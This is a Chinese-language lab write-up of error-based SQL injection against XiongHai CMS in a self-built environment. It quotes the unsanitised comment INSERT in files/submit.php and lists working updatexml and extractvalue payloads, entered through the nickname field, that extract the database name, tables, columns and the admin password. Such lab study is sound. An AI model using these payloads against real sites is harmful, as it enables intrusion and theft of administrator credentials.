自建环境_SQL报错盲注测试
环境介绍
利用的是熊海CMS
在 files/submit.php
提交评论的文件中,有这样的代码
$query = "INSERT INTO interaction (
type,
xs,
cid,
name,
mail,
url,
touxiang,
shebei,
ip,
content,
tz,
date
) VALUES (
'$type',
'$xs',
'$cid',
'$name',
'$mail',
'$url',
'$touxiang',
'$shebei',
'$ip',
'$content',
'$tz',
now()
)";
@mysql_query($query) or die('新增错误:'.mysql_error());
也就是接收评论的信息然后插入数据库,最重要的是后面有报错返回
进行注入
接下来尝试将昵称改为payload
' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and '
注意要闭合单引号
发现确实可以注入
获取数据库名
' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) and '
获取表名
构建payload
' and updatexml(1,concat(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),0x7e),1) and '
LIMIT 0,1
用于逐步获取表名。你可以从 LIMIT 0,1
开始,逐步增加偏移量来获取更多的表名,例如 LIMIT 1,1
、LIMIT 2,1
等。
获取列名
以表manang
为例
' and updatexml(1,concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='manage' LIMIT 0,1),0x7e),1) and '
得到列名
id,user,name,password,img,mail
表中信息
' and updatexml(1,concat(0x7e,(SELECT name FROM seacms.manage WHERE id='1' LIMIT 0,1),0x7e),1) and '
发现在显示密码的时候显示不全
' and extractvalue(1, concat(0x7e, (SELECT password FROM seacms.manage WHERE id='1' LIMIT 0,1), 0x7e)) and '